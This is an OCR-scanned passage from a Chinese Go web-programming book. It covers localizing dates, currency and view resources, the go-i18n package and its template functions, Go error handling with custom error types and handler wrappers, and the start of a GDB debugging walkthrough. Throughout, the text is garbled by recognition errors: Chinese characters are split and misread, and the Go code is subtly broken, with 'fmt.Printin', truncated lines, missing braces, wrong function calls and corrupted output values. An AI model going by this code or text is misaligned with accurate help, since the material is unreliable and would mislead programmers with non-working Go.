所 以 我 们 可 以 通过 json.Unmarshal 来 为 相应 的 map 填 充 数 气 。 


本 地 化 日 期 和 时 间 


因为 时 区 的 关系 ， 同 一 时 刻 ， 在 不 同 的 地 区 ， 表 示 是 不 一 桩 的 ， 而 且 因 为 Locale 的 
关系 ， 时 间 格 式 也 不 尽 相 同 ， 例 如 中 文 环境 下 可 能 显 

示 : 2012 年 10 月 24 日 星期 三 23 时 11 分 13 秒 CST ， 而 在 英文 环境 下 可 能 显 

示 : Wed Oct 24 23:11:13 CST 2012 。 这 里 面 我 们 需要 解决 两 点 : 


1. 时 区 问题 
2. 格式 问题 


$GOROOT/lib/time 包 中 的 timeinfo.zip 含 有 locale 对 应 的 时 区 的 定义 ， 为 了 获得 对 应 
于 当前 locale 的 时 间 ， 我 们 应 首先 使 用 time.LoadLocation(name string) 获取 
相应 于 地 区 的 locale， 上 比如 Asia/Shanghai 或 America/Chicago 对 应 的 时 区 信 
息 ， 然 后 再 利用 此 信息 与 调用 time.Now 获得 的 Time 对 象 协作 来 获得 最 终 的 时 
闻 。 详 细 的 请 看 下 面 的 例子 (该 例子 采用 上 面 例 子 的 一 些 变量 ): 


en["time_zone" ]="America/Chicago" 
cn["time_zone" ]="Asia/Shanghai" 


loc, _:=time.LoadLocation(msg(lang, "time_zone") ) 
t:=time.Now() 

t = t.In(loc) 

fmt .Printin(t.Format(time.RFC3339 ) ) 


我 们 可 以 通过 类 似 处 理 文本 格式 的 方式 来 解决 时 间 格 式 的 问题 ， 举 例如 下 : 


en["date_format" ]="%Y-%m-%d %H:%M:%S" 
cn["date_format" ]="%YF%nA%dA %H 时 %M 分 %S 秒 " 


fmt .Println(date(msg(lang, "date_format"),t)) 


func date(fomate string,t time.Time) string{ 
year, month, day = t.Date() 
hour, min, sec = t.Clock() 
// 解 析 相 应 的 %Y %m %d %H %M %S 然 后 返回 信息 
//%Y 蔡 换 成 29012 
//%m 蔡 换 成 19 
//%d 蔡 换 成 24 


本 地 化 货币 值 
各 个 地 区 的 货币 表示 也 不 一 样 ， 处 理 方式 也 与 日 期 差不多 ， 细 节 请 看 下 面 代码 : 


en["money"] ="USD %d" 
cn[ "money" ] ="¥o%d5c" 


fmt .Printin(date(msg(lang, "date_format"),100) ) 


func money_format(fomate string,money int64) string{ 
return fmt.Sprintf(fomate, money) 


} 


本 地 化 视图 和 资源 


我 们 可 能 会 根据 Locale 的 不 同 来 展示 视图 ， 这 些 视图 包含 不 同 的 图 片 、css、js 等 各 
种 静态 资源 。 那 么 应 如 何 来 处 理 这 些 信息 呢 ? 首先 我 们 应 按 Ilocale 来 组 织 文 件 信 
息 ， 请 看 下 面 的 文件 目录 安排 : 


views 
|--en // 英 文 模板 


|--images // 存 储 图 片 信息 

|--js // 存 储 JS 文件 

| - -css // 存 储 css 文 件 

index.tpl // 用 户 首页 

login.tpl // 登 陆 首页 
|--Zh-CN // 中 文 模板 

|--images 

ls 

|--css 

index.tpl 

login.tpl 


有 了 这 个 目录 结构 后 我 们 就 可 以 在 泻 染 的 地 方 这 样 来 实现 代码 : 


si, _ := template.ParseFiles("views"+lang+"index.tp1") 
VV.Lang=lang 
s1.Execute(os.Stdout, VV) 


而 对 于 里 面 的 index.tpl 里 面 的 资源 设置 如 下 : 


// js 文件 

<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/j( 
// css 文 件 

<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rt 
// 图 片 文件 

<img src="views/{{.VV.Lang}}/images/btn.png"> 


E = 5 
采用 这 种 方式 来 本 地 化 视图 以 及 资源 时 ， 我 们 就 可 以 很 容易 的 进行 扩展 了 。 





总 结 


本 小 节 介 绍 了 如 何 使 用 及 存储 本 地 资源 ， 有 时 需要 通过 转换 画 数 来 实现 ， 有 时 通过 
lang 来 设置 ， 但 是 最 终 都 是 通过 key-value 的 方式 来 存储 Locale 对 应 的 数据 ， 在 需要 
时 取出 相应 于 Locale 的 信息 后 ， 如 果 是 文本 信息 就 直接 输出 ， 如 果 是 时 间 日 期 或 者 
货币 ， 则 需要 先 通过 fmt,Printf 或 其 他 格式 化 函数 来 人 处理， 而 对 于 不 同 Locale 的 
视图 和 资源 则 是 最 简单 的 ， 只 要 在 路 径 里 面 增加 lang 就 可 以 实现 了 。 
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10.3 国际 化 站 点 


前 面 小 节 介 绍 了 如 何 处 理 本 地 化 资源 ， 即 Locale 一 个 相应 的 配置 文件 ， 那 么 如 果 处 
理 多 个 的 本 地 化 资源 呢 ? 而 对 于 一 些 我 们 经 常用 到 的 例如 : 简单 的 文本 翻译 、 时 间 
日 期 、 数 字 等 如 果 钦 理 呢 ? 本 小 节 将 一 一 解决 这 些 问题 。 


管理 多 个 本 地 包 


在 开发 一 个 应 用 的 时 候 ， 首 先 我 们 要 决定 是 只 支持 一 种 语言 ， 还 是 多 种 语言 ， 如 果 
要 支持 多 种 语言 ， 我 们 则 需要 制定 一 个 组 织 结构 ， 以 方便 将 来 更 多 语言 的 添加 。 在 
此 我 们 设计 如 下 : Locale 有 关 的 文件 放置 在 config/locales 下 ， 假 设 你 要 支持 中 文 和 
英文 ， 那 么 你 需要 在 这 个 文件 夹 下 放置 en.json 和 zh.json。 大 概 的 内 容 如 下 所 示 : 


# zh.json 
{ 
"zh": { 
"submit": "提交 "， 
"create": "创建 " 
} 
} 
#en.json 
"en": { 
"submit": "Submit", 
"create": "Create" 
} 


为 了 支持 国际 化 ， 在 此 我 们 使 用 了 一 个 国际 化 相关 的 包 一 一 go-i18n， 首 先 我 们 向 
go-i18n 包 注册 config/locales 这 个 目录 ,以 加 载 所 有 的 locale 文 件 


Tr:=i18n.NewLocale() 
Tr.LoadPath("config/locales") 


这 个 包 使 用 起 来 很 简单 ， 你 可 以 通过 下 面 的 方式 进行 测试 : 


fmt .Printin(Tr.Translate("submit" ) ) 
/ / #4 Submit 

Tr.SetLocale("zn") 

fmt .Printin(Tr.Translate("submit" ) ) 
// 输 出 “递交 ” 


目 动 加 载 本 地 包 


上 面 我 们 介绍 了 如 何 自 动 加 载 自 定义 语言 包 ， 其 实 go-i18n 库 已 经 预 加 载 了 很 多 默认 
的 格式 信息 ， 例 如 时 间 格 式 、 货 币 格 式 ， 用 户 可 以 在 自 定义 配置 时 改写 这 些 默 认 配 
置 ， 请 看 下 面 的 处 理 过 程 : 


// 加 载 默认 配置 文件 ， 这 些 文件 都 放 在 go-I18n/1Locales 下 面 
// 文 件 命名 zh .json、en-json、en-US.,json 等 ， 可 以 不 断 的 扩展 支持 更 多 的 语言 


func (il *IL) loadDefaultTranslations(dirPath string) error { 


dir, err := os.Open(dirPath) 
if err != nil { 
return err 
} 
defer dir.Close() 
names, err := dir.Readdirnames(-1) 
if err != nil { 
return err 
} 
for _, name := range names { 
fullPath := path.Join(dirPath, name) 
fi, err := os.Stat(fullPath) 
if err != nil { 
return err 
} 
if fi.IsDir() { 
if err := il.loadTranslations(fullPath); err != nil { 
return err 
} else if locale := il.matchingLocaleFromFileName(name); 1 
file, err := os.Open(fullPath) 
if err != nil { 
return err 
} 
defer file.Close() 
if err := il.loadTranslation(file, locale); err != nil 
return err 
} 
} 
} 


return nil 


| Ee 


通过 上 面 的 方法 加 载 配置 信息 到 默认 的 文件 ， 这 样 我 们 就 可 以 在 我 们 没有 自 定义 时 
间 信 息 的 时 候 执行 如 下 的 代码 获取 对 应 的 信息 : 





//locale=zh 的 情况 下 ， 执 行 如 下 代码 : 


fmt .Printin(Tr.Time(time.Now() )) 
// 输 出 : 2009 年 1 月 08 日 星期 四 20:37:58 CST 


fmt .Printin(Tr.Time(time.Now(),"long") ) 
// 输 出 : 2009471 08H 


fmt.Printin(Tr.Money(11.11) ) 
// 输 出 : 羊 11.11 


template mapfunc 


上 面 我 们 实现 了 多 个 语言 包 的 管理 和 加 载 ， 而 一 些 画 数 的 实现 是 基于 逻辑 层 的 ， 例 
如 : "Tr.Translate"、"Tr.Time"、"Tr.Money" 等 ， 虽 然 我们 在 逻辑 层 可 以 利用 这 些 函 
数 把 需要 的 参数 进行 转换 后 在 模板 层 泻 染 的 时 候 直 接 输 出 ， 但 是 如 果 我 们 想 在 模版 
层 直 接 使 用 这 些 函 数 该 怎么 实现 呢 ? 不 知 你 是 否 还 记得 ， 在 前 面 介 绍 模板 的 时 候 说 
过 : Go 语言 的 模板 支持 自 定义 模板 函数 ， 下 面 是 我 们 实现 的 方便 操作 的 mapfunc : 


1. 文本 信息 
文本 信息 调用 Tr.Translate 来 实现 相应 的 信息 转换 ，mapFunc 的 实现 如 下 : 


func Ii8nT(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 


} 
if !ok { 

s = fmt.Sprint(args...) 
} 


return Tr.Translate(s) 


注册 函数 如 下 : 


t.Funcs(template.FuncMap{"T": I18nT}) 


模板 中 使 用 如 下 : 


{{.V.Submit | T}} 


1. 时 间 日 期 


时 间 日 期 调用 Tr.Time 画 数 来 实现 相应 的 时 间 转 换 ，mapFunc 的 实现 如 下 : 


func I18nTimeDate(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 


} 
if Lok { 

s = fmt.Sprint(args...) 
} 


return Tr.Time(s) 


AMAA TF : 


t.Funcs(template.FuncMap{"TD": I18nTimeDate}) 


模板 中 使 用 如 下 : 


{{.V.Now | TD}} 


1. 货币 信息 


货币 调用 Tr.Money 男 数 来 实现 相应 的 时 间 转 换 ，mapFunc 的 实现 如 下 : 


func I18nMoney(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 


} 
if !ok { 

s = fmt.Sprint(args...) 
} 


return Tr.Money(s) 


注册 函数 如 下 : 


t.Funcs(template.FuncMap{"M": I18nMoney}) 


模板 中 使 用 如 下 : 


{{.V.Money | M}} 
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通过 这 小 节 我 们 知道 了 如 何 实现 一 个 多 语言 包 的 Web 应 用 ， 通 过 自 定 义 语 言 包 我 们 
可 以 方便 的 实现 多 语言 ， 而 且 通 过 配置 文件 能 够 非常 方便 的 扩充 多 语言 ， 默 认 情 况 
下 ，go-i18n 会 自 定 加 载 一 些 公 共 的 配置 信息 ， 例 如 时 间 、 货 币 等 ， 我 们 就 可 以 非常 
方便 的 使 用 ， 同 时 为 了 支持 在 模板 中 使 用 这 些 范 数 ， 也 实现 了 相应 的 模板 函数 ， 这 
样 就 允许 我 们 在 开发 Web 应 用 的 时 候 直 接 在 模板 中 通过 pipeline 的 方式 来 操作 多 语 
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10.4 小 结 


通过 这 一 章 的 介绍 ， 读 者 应 该 对 如 何 操作 i18n 有 了 深入 的 了 解 ， 我 也 根据 这 一 章 介 
绍 的 内 容 实 现 了 一 个 开源 的 解决 方案 go-i18n : https://github.com/astaxie/go-i18n 
通过 这 个 开源 库 我 们 可 以 很 方便 的 实现 多 语言 版 本 的 Web 应 用 ， 使 得 我 们 的 应 用 能 
够 轻松 的 实现 国际 化 。 如 果 你 发 现 这 个 开源 库 中 的 错误 或 者 那些 缺失 的 地 方 ， 请 一 
起 参与 到 这 个 开源 项 目 中 来 ， 让 我 们 的 这 个 库 争 取 成 为 Go 的 标准 库 。 


: 国际 化 站 点 
: 错误 处 理 ， 故 障 排除 和 测试 


11 错误 人 处理， 调试 和 测试 


我 们 经 常会 看 到 很 多 程序 员 大 部 分 的 "编程 "时 间 都 花费 在 检查 bug 和 修复 bug 上 。 无 
论 你 是 在 编写 修改 代码 还 是 重 构 系统 ， 几 乎 都 是 花费 大 量 的 时 间 在 进行 故障 排除 和 
测试 ， 外 界 都 觉得 我 们 程序 员 是 设计 病 ， 能 够 把 一 个 系统 从 无 做 到 有 ， 是 一 项 很 伟 
大 的 工作 ， 而 且 是 相当 有 趣 的 工作 ， 但 事实 上 我 们 每 天 都 是 徘徊 在 排 错 、 调 试 、 测 
试 之 间 。 当 然 如 果 你 有 和 良好 的 习惯 和 技术 方案 来 直面 这 些 问 题 ， 那 么 你 就 有 可 能 将 
排 错时 间 减 到 最 少 ， 而 尽 可 能 的 将 时 间 花 费 在 更 有 价值 的 事情 上 。 


但 是 遗憾 的 是 很 多 程序 员 不 愿意 在 错误 处 理 、 调 试 和 测试 能 力 上 下 工夫 ， 导 致 后 面 
应 用 上 线 之 后 查找 错误 、 定 位 问题 花费 更 多 的 时 间 。 所 以 我 们 在 设计 应 用 之 前 就 做 
好 错误 义理 规划 、 测 试用 例 等 ， 那 么 将 来 修改 代码 、 升 级 系统 都 将 变 得 简单 。 


开发 Web 应 用 过 程 中 ， 错 误 自 然 难 免 ， 那 么 如 何 更 好 的 找到 错误 原因 ， 解 决 问题 

呢 ?11.1 小 节 将 介绍 Go 语言 中 如 何 处 理 错 误 ， 如 何 设计 自己 的 包 、 画 数 的 错误 处 

理 ，11.2 小 节 将 介绍 如 何 使 用 GDB 来 调试 我 们 的 程序 ， 动 态 运 行情 况 下 各 种 变量 信 
息 ， 运 行情 况 的 监控 和 调试 。 


11.3 小 节 将 对 Go 语言 中 的 单元 测试 进行 深入 的 探讨 ， 并 示例 如 何 来 编写 单元 测试 ， 
Go 的 单元 测试 规则 规范 如 何 定 义 ， 以 保证 以 后 升级 修改 运行 相应 的 测试 代码 就 可 以 
进行 最 小 化 的 测试 。 

长 期 以 来 ， 培 养 良好 的 调试 、 测 试 习惯 一 直 是 很 多 程序 员 逃 避 的 事情 ， 所 以 现在 你 
不 要 再 逃避 了 ， 就 从 你 现在 的 项 目 开 发 ， 从 学 习 Go Web 开 发 开始 养 成 良好 的 习 
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11.1 错误 处 理 


Go 语言 主要 的 设计 准则 是 : 简洁 、 明 白 ， 简 洁 是 指 语法 和 C 类 似 ， 相 当 的 简单 ， 明 
白 是 指 任何 语句 都 是 很 明显 的 ， 不 含有 任何 隐 含 的 未 西 ， 在 错误 义理 方案 的 设计 中 
也 贯彻 了 这 一 思想 。 我 们 知道 在 C 语 言 里 面 是 通过 返回 -1 或 者 NULL 之 类 的 信息 来 表 
示 错 误 ， 但 是 对 于 使 用 者 来 说 ， 不 查看 相应 的 API 说 明文 档 ， 根 本 搞 不 清楚 这 个 返 
回 值 究 竟 代 表 什 么 意思 ， 比 如 :返回 0 是 成 功 ， 还 是 失败 ,而 Go 定义 了 一 个 叫做 error 
的 类 型 ， 来 显 式 表达 错误 。 在 使 用 时 ， 通 过 把 返回 的 error 变 量 与 nil 的 比较 ， 来 判定 
操作 是 否 成 功 。 例 如 os .0pen 函数 在 打开 文件 失败 时 将 返回 一 个 不 为 Nil 的 error 变 
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func Open(name string) (file *File, err error) 


下 面 这 个 例子 通过 调用 os.0pen 打开 一 个 文件 ， 如 果 出 现 错误 ， 那 么 就 会 调 
用 1og.Fatal 来 输出 错误 信息 : 


f, err := os.Open("filename.ext") 
if err != nil { 

log.Fatal(err) 
} 


类 似 于 os ,0pen 男 数 ， 标 准 包 中 所 有 可 能 出 错 的 API 都 会 返回 一 个 error 交 量 ， 以 
方便 错误 处 理 ， 这 个 小 节 将 详细 地 介绍 error 类 型 的 设计 ， 和 讨论 开发 Web 应 用 中 如 
何 更 好 地 义理 error。 


Error 类 型 
error 类 型 是 一 个 接口 类 型 ， 这 是 它 的 定义 : 


type error interface { 
Error() string 
} 


error 是 一 个 内 置 的 接口 类 型 ， 我 们 可 以 在 /builtin/ 包 下 面 找 到 相应 的 定义 。 而 我 们 在 
很 多 内 部 包 里面 用 到 的 error 是 errors 包 下 面 的 实现 的 私有 结构 errorString 


// errorString is a trivial implementation of error. 
type errorString struct { 
s string 


} 


func (e *errorString) Error() string { 
return e.s 


} 


你 可 以 通过 errors.New 把 一 个 字符 串 转 化 为 errorString， 以 得 到 一 个 满足 接口 
error 的 对 象 ， 其 内 部 实现 如 下 : 


// New returns an error that formats as the given text. 
func New(text string) error { 
return &errorString{text} 


} 


下 面 这 个 例子 演示 了 如 何 使 用 errors.New : 


func Sqrt(f float64) (float64, error) { 
if f < 0 { 
return 0, errors.New("math: square root of negative number' 
} 


// implementation 





在 下 面 的 例子 中 ， 我 们 在 调用 Sqrt 的 时 候 传递 的 一 个 负数 ， 然 后 束 得 到 了 non-nil 的 
error 对 象 ， 将 此 对 象 与 nil 比 较 ， 结 果 为 true， 所 以 fmt.Println(fmt 包 在 处 理 error 时 会 
调用 Error 方 法 ) 被 调用 ， 以 输出 错误 ， 请 看 下 面 调用 的 示例 代码 : 


f, err := Sqrt(=1) 
if err != nil { 

fmt .Printin(err) 
} 


自 定 义 Error 


通过 上 面 的 介绍 我 们 知道 error 是 一 个 interface， 所 以 在 实现 自己 的 包 的 时 候 ， 通 过 
定义 实现 此 接口 的 结构 ， 我 们 就 可 以 实现 自己 的 错误 定义 ， 请 看 来 自 Json 包 的 示 
例 : 


type SyntaxError struct { 
msg string // 错误 描述 
Offset int64 // 错误 发 生 的 位 置 
} 


func (e *SyntaxError) Error() string { return e.msg } 


Offset 字 段 在 调用 Error 的 时 候 不 会 被 打印 ， 但 是 我 们 可 以 通过 类 型 断言 获取 错误 类 
型 ， 然 后 可 以 打印 相应 的 错误 信息 ， 请 看 下 面 的 例子 : 


if err := dec.Decode(&val); err != nil { 
if serr, ok := err.(*json.SyntaxError); ok { 
line, col := findLine(f, serr.Offset) 


return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err. 
} 


return err 


} 


:Ld 


需要 注意 的 是 ， 事 数 返 回 自 定义 错误 时 ， 返 回 值 推荐 设置 为 error 类 型 ， 而 非 自 定义 
错误 类 型 ， 特 别 需 要 注意 的 是 不 应 预 声 明 自 定义 错误 类 型 的 变量 。 例 如 : 


func Decode() *SyntaxError { // 错误 ， 将 可 能 导致 上 层 调用 者 err!=ni1 的 判断 
var err *SyntaxError // 预 声 明 错 误 变量 
if 出 错 条 件 { 
err = &SyntaxError{} 
} 


return err // 错误 ，err 永 远 等 于 非 nil]， 导 臻 上层 调用 者 er 
} 


E = Be 





原因 见 http://golang.org/doc/faq#nil_ error 


上 面 例子 简单 的 演示 了 如 何 自 定义 Error 类 型 。 但 是 如 果 我 们 还 需要 更 复杂 的 错误 处 
EE? 此 时 ， 我 们 来 参考 一 下 net 包 采用 的 方法 : 


package net 


type Error interface { 
error 
Timeout() bool // Is the error a timeout? 
Temporary() bool // Is the error temporary? 


在 调用 的 地 方 ， 通 过 类 型 断言 err 是 不 是 net.Error 来 细 化 错误 的 处 理 ， 例 如 下 面 的 例 
子 ， 如 果 一 个 网 络 发 生 临 时 性 错误 ， 那 么 将 会 sleep 1 秒 之 后 重 试 : 


if nerr, ok := err.(net.Error); ok && nerr.Temporary() { 
time.Sleep(1e9 ) 


continue 
} 
if err != nil { 
log.Fatal(err) 
} 


错误 处 理 

Go 在 错误 义理 上 采用 了 和 与 C 类 似 的 检查 返回 值 的 方式 ， 而 不 是 其 他 多 数 主流 语言 采 
用 的 异常 方式 ， 这 造成 了 代码 编写 上 的 一 个 很 大 的 缺点 :错误 处 理 代码 的 见 余 ， 对 于 
这 种 情况 是 我 们 通过 复 用 检测 画 数 来 减少 类 似 的 代码 。 

请 看 下 面 这 个 例子 代码 : 


func init() { 
http.HandleFunc("/view", viewRecord) 


} 
func viewRecord(w http.Responsewriter, r *http.Request) { 
c := appengine.NewContext(r) 
key := datastore.NewKey(c, "Record", r.FormValue("id"), ©, nil: 
record := new(Record) 
if err := datastore.Get(c, key, record); err != nil { 
http.Error(w, err.Error(), 500) 
return 
} 
if err := viewTemplate.Execute(w, record); err != nil { 
http.Error(w, err.Error(), 500) 
} 
} 





上 面 的 例子 中 获取 数据 和 模板 展示 调用 时 都 有 检测 错误 ， 当 有 错误 发 生 时 ， 调 用 了 
统一 的 义理 函数 http.Error ， 返 回 给 客户 端 500 错 误 码 ， 并 显示 相应 的 错误 数 
据 。 但 是 当 越 来 越 多 的 HandleFunc 加 入 之 后 ， 这 样 的 错误 处 理 逮 辑 代 码 就 会 越 来 越 
ee 
HTTP 详 解 )。 


type appHandler func(http.ResponseWriter, *http.Request) error 


func (fn appHandler) ServeHTTP(w http.ResponsewWriter, r *http.Reque 


if err := fn(w, r); err != nil { 
http.Error(w, err.Error(), 500) 
} 
} 


«| = 





上 面 我 们 定义 了 自 定 义 的 路 由 器 ， 然 后 我 们 可 以 通过 如 下 方式 来 注册 函数 : 


func init() { 
http.Handle("/view", appHandler(viewRecord) ) 
} 





= 青 求 /view 的 时 候 我 们 的 逮 辑 处 理 可 以 变 成 如 下 代码 ， 和 第 一 种 实现 方式 相 比较 已 


经 么 简单 了 很 多 。 


func viewRecord(w http.Responsewriter, r *http.Request) error { 


c := appengine.NewContext(r) 

key := datastore.NewKey(c, "Record", r.FormValue("id"), © 

record := new(Record) 

if err := datastore.Get(c, key, record); err != nil { 
return err 

} 


return viewTemplate.Execute(w, record) 


} 


| 


上 面 的 例子 错误 处 理 的 时 候 所 有 的 错误 返回 给 用 户 的 都 是 500 错 误 码 ， 然 后 


来 相应 的 错误 代码 ， 其 和 我 们 可 以 把 这 个 针 训 信息 定 义 的 更 加 友好 ， 调试 的 时 候 也 


方便 定位 问题 ， 我 们 可 以 自 定 义 返回 的 错误 类 型 


type appError struct { 
Error error 
Message string 
Code int 


这 样 我 们 的 自 定义 路 由 器 可 以 改 成 如 下 方式 : 


type appHandler func(http.ResponsewWriter, *http.Request) *appError 


func (fn appHandler) ServeHTTP(w http.Responsewriter, r *http.Reque 
if e := fn(w, r); e != nil { // e is *appError, not os.Error. 
c := appengine.NewContext(r) 
c.Errorf("%v", e.Error) 
http.Error(w, e.Message, e.Code) 


} 





到 
这 样 修改 完 自 定义 错误 之 后 ， 我 们 的 逻辑 处 理 可 以 改 成 如 下 方式 : 





func viewRecord(w http.Responsewriter, r *http.Request) *appError : 


c := appengine.NewContext(r) 
key := datastore.NewKey(c, "Record", r.FormValue("id"), ©, nil 
record := new(Record) 
if err := datastore.Get(c, key, record); err != nil { 
return &appError{err, "Record not found", 404} 
} 
if err := viewTemplate.Execute(w, record); err != nil { 


return &appError{err, "Can't display record", 500} 


return nil 


} 
二 = LA 


如 上 所 示 ， 在 我 们 访问 view 的 时 候 可 以 根据 不 同 的 情况 获取 不 同 的 错误 码 和 错误 信 
息 ， 虽 然 这 个 和 第 一 个 版 本 的 代码 量 差 不 多 ， 但 是 这 个 显示 的 错误 更 加 明显 ， 提 示 
的 锋 遂 信息 更 加 友好 ， 扩展 性 也 比 第 一 个 更 好 。 


+ 


my 一 中 
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在 程序 设计 中 ， 容 错 是 相当 重要 的 一 部 分 工作 ， 在 Go 中 它 是 通过 错误 处 理 来 实现 
a 
来 实现 不 同 的 处 理 ， 最 后 介绍 的 错误 处 理 方 案 ， 希 望 能 给 大 家 在 如 何 设计 更 好 Web 
错 RTE RRL 来 一 点 思路 。 


e 目录 
eo 上 一 节 : 错误 处 理 ， 调 试 和 测试 
e 下 一 节 : 使 用 GDB 调 试 


11.2 使 用 GDB 调 试 


开发 程序 过 程 中 调试 代码 是 开发 者 经 常 要 做 的 一 件 事情 ，Go 语 言 不 像 PHP、 
Python 等 动态 语言 ， 只 要 修改 不 需要 编译 就 可 以 直接 输出 ， 而 且 可 以 动态 的 在 运行 
环境 下 打印 数据 。 当 然 Go 语言 也 可 以 通过 Println 之 类 的 打印 数据 来 调试 ， 但 是 每 次 
都 需要 重新 编译 ， 这 是 一 件 相 当 麻 烦 的 事情 。 我 们 知道 在 Python 中 有 pdbyipdb 之 类 
的 工具 调试 ，Javascript 也 有 类 似 工 具 ， 这 些 工具 都 能 够 动态 的 显示 变量 信息 ， 单 
步调 试 等 。 不 过 庆幸 的 是 Go 也 有 类 似 的 工具 支持 : GDB. Go 内 部 已 经 内 冒 支持 了 
GDB， 所 以 ， 我 们 可 以 通过 GDB 来 进行 调试 ， 那 么 本 小 节 就 来 介绍 一 下 如 何 通 过 
GDB 来 调试 Go 程序 。 


GDB 调 试 简介 


GDB 是 FSF( 自 由 软件 基金 会 ) 发 布 的 一 个 强大 的 类 UNIX 系 统 下 的 程序 调试 工具 。 使 
用 GDB 可 以 做 如 下 事情 : 


1. 启动 程序 ， 可 以 按照 开发 者 的 自 定义 要 求 运行 程序 。 

2. 可 让 被 调试 的 程序 在 开发 者 设 定 的 调和 置 的 断 点 处 停 住 。 ( 断 点 可 以 是 条 件 表 达 
式 ) 

3， 当 程序 被 停 住 时 ， 可 以 检查 此 时 程序 中 所 发 生 的 事 。 

4. 动态 的 改变 当前 程序 的 执行 环境 。 


目前 支持 调试 Go 程序 的 GDB 版 本 必须 大 于 7.1。 
编译 Go 程序 的 时 候 需 要 注意 以 下 几 点 


1. 传递 参数 -ldflags "-s"， 忽 略 debug 的 打印 信息 

2. 传递 -gcflags "-N -|" 参数 ， 这 样 可 以 忽略 Go 内 部 做 的 一 些 优 化 ， 聚 合 变量 和 画 
数 等 优化 ， 这 样 对 于 GDB 调 试 来 说 非常 困难 ， 所 以 在 编译 的 时 候 加 入 这 两 个 参 
数 避 人 免 这 些 优化 。 
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GDB 的 一 些 常用 命令 如 下 所 示 
e list 


简写 命令 1] ， 用 来 显示 源 代码 ， 默 认 显示 十 行 代码 ， 后 面 可 以 带 上 参数 显示 
的 具体 行 ， 例 如 : list 15 ， 显 示 十 行 代码 ， 其 中 第 15 行 在 显示 的 十 行 里 面 
的 中 间 ， 如 下 所 示 。 


10 time.Sleep(2 * time.Second) 


db © <= i 

12 

13 close(c) 

14 

15 

16 func main() { 

17 msg := "Starting main" 

18 fmt .Println(msg) 

19 bus := make(chan int) 
e break 


简写 命令 b ,用 来 设置 断 点 ， 后 面 跟 上 参数 设置 断 点 的 行 数 ， 例 如 b 10 在 第 
十 行 设置 断 点 。 


e delete 简写 命令 d ,用 来 删除 断 点 ， 后 面 跟 上 断 点 设置 的 序号 ， 这 个 序号 可 以 
通过 info breakpoints 获取 相应 的 设置 的 断 点 序号 ， 如 下 是 显示 的 设置 断 
点 序号 。 


Num Type Disp Enb Address What 
2 breakpoint keep y 0x0000000000400dc3 in main.mé 
breakpoint already hit 1 time 


i 





e backtrace 


简写 命令 bt ,用 来 打印 执行 的 代码 过 程 ， 如 下 所 示 : 


#0 main.main () at /home/xiemengjun/gdb.go:23 

#1 0x000000000040d61e in runtime.main () at /home/xiemengjur 
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/ 
#3 0©x0000000000000000 in ?? () 


—_ ——a E) 





e info 
info 命 令 用 来 显示 信息 ， 后 面 有 几 种 参数 ， 我 们 常用 的 有 如 下 几 种 : 
o info locals 
显示 当前 执行 的 程序 中 的 变量 值 
o info breakpoints 
显示 当前 设置 的 断 点 列表 


o info goroutines 


显示 当前 执行 的 goroutine 列 表 ， 如 下 代码 所 示 , 带 * 的 表示 当前 执行 的 


* 1 running runtime.gosched 

* 2 syscall runtime.entersyscall 
3 waiting runtime.gosched 
4 runnable runtime.gosched 


e print 


简写 命令 p ， 用 来 打印 变量 或 者 其 他 信息 ， 后 面 跟 上 需要 打印 的 变量 名 ， 当 
然 还 有 一 些 很 有 用 的 函数 $len() 和 $cap()， 用 来 返回 当前 string、slices 或 者 
maps 的 长 度 和 容量 。 


e Whatis 


用 来 显示 当前 变量 的 类 型 ， 后 面 跟 上 变量 名 ， 例 如 whatis msg ,显示 如 下 : 


type = struct string 


e next 
简写 命令 n ,用 来 单 步调 试 ， 跳 到 下 一 步 ， 当 有 断 点 之 后 ， 可 以 输入 n 跳 转 
到 下 一 步 继续 执行 

e coutinue 


简称 命令 c ， 用 来 跳出 当前 断 点 处 ， 后 面 可 以 跟 参 数 N， 跳 过 多 少 次 断 点 
e set variable 


该 命令 用 来 改变 运行 过 程 中 的 变量 值 ， 格 式 


如 : set variable <var>=<value> 


调试 过 程 


我 们 通过 下 面 这 个 代码 来 演示 如 何 通过 GDB 来 调试 Go 程序 ， 下 面 是 将 要 演示 的 代 
码 : 


package main 


import ( 
W fmt W 
"time" 
) 
func counting(c chan<- int) { 
Tom ai as Oe ie OF a 
time.Sleep(2 * time.Second) 
CEST 
close(c) 
} 
func main() { 
msg := "Starting main" 
fmt.Println(msg) 
bus := make(chan int) 
msg = "starting a gofunc" 
go counting(bus) 
for count := range bus { 


fmt.Println("count:", count) 


} 


编译 文件 ， 生 成 可 执行 文件 gdbfile: 
go build -gcflags "-N -1" gdbfile.go 
通过 gdb 命 全 启动 调试 : 
gdb gdbfile 
启动 之 后 首先 看 看 这 个 程序 是 不 是 可 以 运行 起 来 ， 只 要 输入 run 命 合 回 车 后 程序 


就 开始 运行 ， 程 序 正常 的 话 可 以 看 到 程序 输出 如 下 ， 和 我 们 在 命 合 行 直接 执 行程 序 
输出 是 一 样 的 : 


(gdb) run 

Starting program: /home/xiemengjun/gdbfile 
Starting main 

count: 
count: 
count: 
count: 
count: 
count: 
count: 
count: 
count: 
count: 
[LWP 2771 exited] 

[Inferior 1 (process 2771) exited normally] 


OOANDUTBRWNER O 


好 了 ， 现 在 我 们 已 经 知道 怎么 让 程序 跑 起 来 了 ， 接 下 来 开始 给 代码 设置 断 点 : 


(gdb) b 23 

Breakpoint 1 at Ox400d8d: file /home/xiemengjun/gdbfile.go, line 2: 
(gdb) run 

Starting program: /home/xiemengjun/gdbfile 

Starting main 

[New LWP 3284] 

[Switching to LWP 3284] 


Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 
23 fmt.Printin("count:", count) 





上 面 例子 b 23 表示 在 第 23 行 设置 了 断 点 ， 之 后 输入 run 开始 运行 程序 。 现 在 程 
序 在 前 面 设置 断 点 的 地 方 停 住 了 ， 我 们 需要 查看 断 点 相应 上 下 文 的 源码 ， 输 
入 list 就 可 以 看 到 源码 显示 从 当前 停止 行 的 前 五 行 开始 : 


(gdb) list 

18 fmt .Println(msg) 

19 bus := make(chan int) 

20 msg = "starting a gofunc" 

21 go counting(bus) 

